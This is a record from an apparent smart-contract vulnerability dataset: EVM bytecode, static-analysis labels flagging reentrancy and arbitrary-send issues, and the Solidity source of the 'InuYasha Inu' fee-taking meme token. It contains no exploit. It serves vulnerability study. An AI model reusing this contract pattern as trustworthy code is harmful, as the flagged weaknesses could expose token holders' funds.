ffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f4261266d91906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b60006126c030610c0a565b9050601560169054906101000a900460ff1615801561272d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127455750601560149054906101000a900460ff165b15612aa65760158054906101000a900460ff16156127e25742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154106127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890613f90565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461283891906141c6565b42111561284857600a9050612970565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461289891906141c6565b4211156128a857600f905061296f565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128f891906141c6565b421115612908576014905061296e565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461295891906141c6565b421115612968576019905061296d565b602390505b5b5b5b612997600a612989600484612db490919063ffffffff16565b6130b790919063ffffffff16565b600a819055506129c4600a6129b6600684612db490919063ffffffff16565b6130b790919063ffffffff16565b600b819055506000821115612a8b57612a256064612a17600c54612a09601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b821115612a8157612a7e6064612a70600c54612a62601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b91505b612a8a82612e2f565b5b60004790506000811115612aa357612aa247612bcf565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612b4f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b5957600090505b612b6584848484613101565b50505050565b6000838311158290612bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612baa9190613eae565b60405180910390fd5b5060008385612bc291906142a7565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c1f6002846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612c4a573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9b6004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cc6573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d176004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d42573d6000803e3d6000fd5b5050565b6000600854821115612d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8490613ef0565b60405180910390fd5b6000612d9761312e565b9050612dac81846130b790919063ffffffff16565b915050919050565b600080831415612dc75760009050612e29565b60008284612dd5919061424d565b9050828482612de4919061421c565b14612e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1b90613fb0565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612e6757612e6661447c565b5b604051908082528060200260200182016040528015612e955781602001602082028036833780820191505090505b5090503081600081518110612ead57612eac61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612f4f57600080fd5b505afa158015612f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f8791906138af565b81600181518110612f9b57612f9a61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061300230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118cb565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130669594939291906140ab565b600060405180830381600087803b15801561308057600080fd5b505af1158015613094573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006130f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613159565b905092915050565b8061310f5761310e6131bc565b5b61311a8484846131ff565b80613128576131276133ca565b5b50505050565b600080600061313b6133de565b9150915061315281836130b790919063ffffffff16565b9250505090565b600080831182906131a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131979190613eae565b60405180910390fd5b50600083856131af919061421c565b9050809150509392505050565b6000600a541480156131d057506000600b54145b156131da576131fd565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b60008060008060008061321187613440565b95509550955095509550955061326f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134a890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061330485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335081613550565b61335a848361360d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516133b79190614090565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea000009050613414683635c9adc5dea000006008546130b790919063ffffffff16565b82101561343357600854683635c9adc5dea0000093509350505061343c565b81819350935050505b9091565b600080600080600080600080600061345d8a600a54600b54613647565b925092509250600061346d61312e565b905060008060006134808e8787876136dd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006134ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b6b565b905092915050565b600080828461350191906141c6565b905083811015613546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161353d90613f50565b60405180910390fd5b8091505092915050565b600061355a61312e565b905060006135718284612db490919063ffffffff16565b90506135c581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b613622826008546134a890919063ffffffff16565b60088190555061363d816009546134f290919063ffffffff16565b6009819055505050565b6000806000806136736064613665888a612db490919063ffffffff16565b6130b790919063ffffffff16565b9050600061369d606461368f888b612db490919063ffffffff16565b6130b790919063ffffffff16565b905060006136c6826136b8858c6134a890919063ffffffff16565b6134a890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806136f68589612db490919063ffffffff16565b9050600061370d8689612db490919063ffffffff16565b905060006137248789612db490919063ffffffff16565b9050600061374d8261373f85876134a890919063ffffffff16565b6134a890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061377961377484614145565b614120565b9050808382526020820190508285602086028201111561379c5761379b6144b0565b5b60005b858110156137cc57816137b288826137d6565b84526020840193506020830192505060018101905061379f565b5050509392505050565b6000813590506137e581614864565b92915050565b6000815190506137fa81614864565b92915050565b600082601f830112613815576138146144ab565b5b8135613825848260208601613766565b91505092915050565b60008135905061383d8161487b565b92915050565b6000815190506138528161487b565b92915050565b60008135905061386781614892565b92915050565b60008151905061387c81614892565b92915050565b600060208284031215613898576138976144ba565b5b60006138a6848285016137d6565b91505092915050565b6000602082840312156138c5576138c46144ba565b5b60006138d3848285016137eb565b91505092915050565b600080604083850312156138f3576138f26144ba565b5b6000613901858286016137d6565b9250506020613912858286016137d6565b9150509250929050565b600080600060608486031215613935576139346144ba565b5b6000613943868287016137d6565b9350506020613954868287016137d6565b925050604061396586828701613858565b9150509250925092565b60008060408385031215613986576139856144ba565b5b6000613994858286016137d6565b92505060206139a585828601613858565b9150509250929050565b6000602082840312156139c5576139c46144ba565b5b600082013567ffffffffffffffff8111156139e3576139e26144b5565b5b6139ef84828501613800565b91505092915050565b600060208284031215613a0e57613a0d6144ba565b5b6000613a1c8482850161382e565b91505092915050565b600060208284031215613a3b57613a3a6144ba565b5b6000613a4984828501613843565b91505092915050565b600060208284031215613a6857613a676144ba565b5b6000613a7684828501613858565b91505092915050565b600080600060608486031215613a9857613a976144ba565b5b6000613aa68682870161386d565b9350506020613ab78682870161386d565b9250506040613ac88682870161386d565b9150509250925092565b6000613ade8383613aea565b60208301905092915050565b613af3816142db565b82525050565b613b02816142db565b82525050565b6000613b1382614181565b613b1d81856141a4565b9350613b2883614171565b8060005b83811015613b59578151613b408882613ad2565b9750613b4b83614197565b925050600181019050613b2c565b5085935050505092915050565b613b6f816142ed565b82525050565b613b7e81614330565b82525050565b6000613b8f8261418c565b613b9981856141b5565b9350613ba9818560208601614342565b613bb2816144bf565b840191505092915050565b6000613bca6023836141b5565b9150613bd5826144d0565b604082019050919050565b6000613bed602a836141b5565b9150613bf88261451f565b604082019050919050565b6000613c106022836141b5565b9150613c1b8261456e565b604082019050919050565b6000613c336022836141b5565b9150613c3e826145bd565b604082019050919050565b6000613c56601b836141b5565b9150613c618261460c565b602082019050919050565b6000613c796015836141b5565b9150613c8482614635565b602082019050919050565b6000613c9c6023836141b5565b9150613ca78261465e565b604082019050919050565b6000613cbf6021836141b5565b9150613cca826146ad565b604082019050919050565b6000613ce26020836141b5565b9150613ced826146fc565b602082019050919050565b6000613d056029836141b5565b9150613d1082614725565b604082019050919050565b6000613d286025836141b5565b9150613d3382614774565b604082019050919050565b6000613d4b6024836141b5565b9150613d56826147c3565b604082019050919050565b6000613d6e6017836141b5565b9150613d7982614812565b602082019050919050565b6000613d916018836141b5565b9150613d9c8261483b565b602082019050919050565b613db081614319565b82525050565b613dbf81614323565b82525050565b6000602082019050613dda6000830184613af9565b92915050565b6000604082019050613df56000830185613af9565b613e026020830184613af9565b9392505050565b6000604082019050613e1e6000830185613af9565b613e2b6020830184613da7565b9392505050565b600060c082019050613e476000830189613af9565b613e546020830188613da7565b613e616040830187613b75565b613e6e6060830186613b75565b613e7b6080830185613af9565b613e8860a0830184613da7565b979650505050505050565b6000602082019050613ea86000830184613b66565b92915050565b60006020820190508181036000830152613ec88184613b84565b905092915050565b60006020820190508181036000830152613ee981613bbd565b9050919050565b60006020820190508181036000830152613f0981613be0565b9050919050565b60006020820190508181036000830152613f2981613c03565b9050919050565b60006020820190508181036000830152613f4981613c26565b9050919050565b60006020820190508181036000830152613f6981613c49565b9050919050565b60006020820190508181036000830152613f8981613c6c565b9050919050565b60006020820190508181036000830152613fa981613c8f565b9050919050565b60006020820190508181036000830152613fc981613cb2565b9050919050565b60006020820190508181036000830152613fe981613cd5565b9050919050565b6000602082019050818103600083015261400981613cf8565b9050919050565b6000602082019050818103600083015261402981613d1b565b9050919050565b6000602082019050818103600083015261404981613d3e565b9050919050565b6000602082019050818103600083015261406981613d61565b9050919050565b6000602082019050818103600083015261408981613d84565b9050919050565b60006020820190506140a56000830184613da7565b92915050565b600060a0820190506140c06000830188613da7565b6140cd6020830187613b75565b81810360408301526140df8186613b08565b90506140ee6060830185613af9565b6140fb6080830184613da7565b9695505050505050565b600060208201905061411a6000830184613db6565b92915050565b600061412a61413b565b90506141368282614375565b919050565b6000604051905090565b600067ffffffffffffffff8211156141605761415f61447c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006141d182614319565b91506141dc83614319565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614211576142106143ef565b5b828201905092915050565b600061422782614319565b915061423283614319565b9250826142425761424161441e565b5b828204905092915050565b600061425882614319565b915061426383614319565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561429c5761429b6143ef565b5b828202905092915050565b60006142b282614319565b91506142bd83614319565b9250828210156142d0576142cf6143ef565b5b828203905092915050565b60006142e6826142f9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061433b82614319565b9050919050565b60005b83811015614360578082015181840152602081019050614345565b8381111561436f576000848401525b50505050565b61437e826144bf565b810181811067ffffffffffffffff8211171561439d5761439c61447c565b5b80604052505050565b60006143b182614319565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143e4576143e36143ef565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61486d816142db565b811461487857600080fd5b50565b614884816142ed565b811461488f57600080fd5b50565b61489b81614319565b81146148a657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207ae1d656198d067875ab2a93a03a1b6534204dd2d445157f5402ac0eb6d9a97764736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,501
0x6d03695343c58736b3950d63f607817fba6956fd
/** *Submitted for verification at Etherscan.io on 2021-10-18 */ // File: contracts/inuyashainu_contract.sol /** *Submitted for verification at Etherscan.io on 2021-10-17 */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract InuYashaInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redistributionAddress; uint256 private _feeAddr2; address payable private _marketingAddress; string private constant _name = "InuYasha Inu"; string private constant _symbol = "INUYASHAINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 public openTradingTime; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _marketingAddress = payable(0x62cc5ae4750791265E0f8775790345f75385349c); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _redistributionAddress = 3; _feeAddr2 = 7; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { if (block.timestamp < openTradingTime + 15 minutes) { require(amount <= _maxTxAmount); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); openTradingTime = block.timestamp; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redistributionAddress, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461030a578063a9059cbb14610335578063c3c8cd8014610372578063c9567bf914610389578063dd62ed3e146103a057610109565b80636fc3eaec1461027457806370a082311461028b578063715018a6146102c85780638da5cb5b146102df57610109565b80632ab30838116100d15780632ab30838146101de578063313ce567146101f5578063325b3b18146102205780635932ead11461024b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103dd565b604051610130919061242e565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612037565b61041a565b60405161016d9190612413565b60405180910390f35b34801561018257600080fd5b5061018b610438565b6040516101989190612550565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190611fe4565b610449565b6040516101d59190612413565b60405180910390f35b3480156101ea57600080fd5b506101f3610522565b005b34801561020157600080fd5b5061020a6105c9565b60405161021791906125c5565b60405180910390f35b34801561022c57600080fd5b506102356105d2565b6040516102429190612550565b60405180910390f35b34801561025757600080fd5b50610272600480360381019061026d9190612077565b6105d8565b005b34801561028057600080fd5b5061028961068a565b005b34801561029757600080fd5b506102b260048036038101906102ad9190611f4a565b6106fc565b6040516102bf9190612550565b60405180910390f35b3480156102d457600080fd5b506102dd61074d565b005b3480156102eb57600080fd5b506102f46108a0565b6040516103019190612345565b60405180910390f35b34801561031657600080fd5b5061031f6108c9565b60405161032c919061242e565b60405180910390f35b34801561034157600080fd5b5061035c60048036038101906103579190612037565b610906565b6040516103699190612413565b60405180910390f35b34801561037e57600080fd5b50610387610924565b005b34801561039557600080fd5b5061039e61099e565b005b3480156103ac57600080fd5b506103c760048036038101906103c29190611fa4565b610f02565b6040516103d49190612550565b60405180910390f35b60606040518060400160405280600c81526020017f496e75596173686120496e750000000000000000000000000000000000000000815250905090565b600061042e610427610f89565b8484610f91565b6001905092915050565b6000683635c9adc5dea00000905090565b600061045684848461115c565b61051784610462610f89565b61051285604051806060016040528060288152602001612b0260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c8610f89565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114509092919063ffffffff16565b610f91565b600190509392505050565b61052a610f89565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ae906124d0565b60405180910390fd5b683635c9adc5dea00000601081905550565b60006009905090565b600f5481565b6105e0610f89565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461066d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610664906124d0565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106cb610f89565b73ffffffffffffffffffffffffffffffffffffffff16146106eb57600080fd5b60004790506106f9816114b4565b50565b6000610746600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611520565b9050919050565b610755610f89565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d9906124d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f494e555941534841494e55000000000000000000000000000000000000000000815250905090565b600061091a610913610f89565b848461115c565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610965610f89565b73ffffffffffffffffffffffffffffffffffffffff161461098557600080fd5b6000610990306106fc565b905061099b8161158e565b50565b6109a6610f89565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2a906124d0565b60405180910390fd5b600e60149054906101000a900460ff1615610a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7a90612530565b60405180910390fd5b42600f819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ff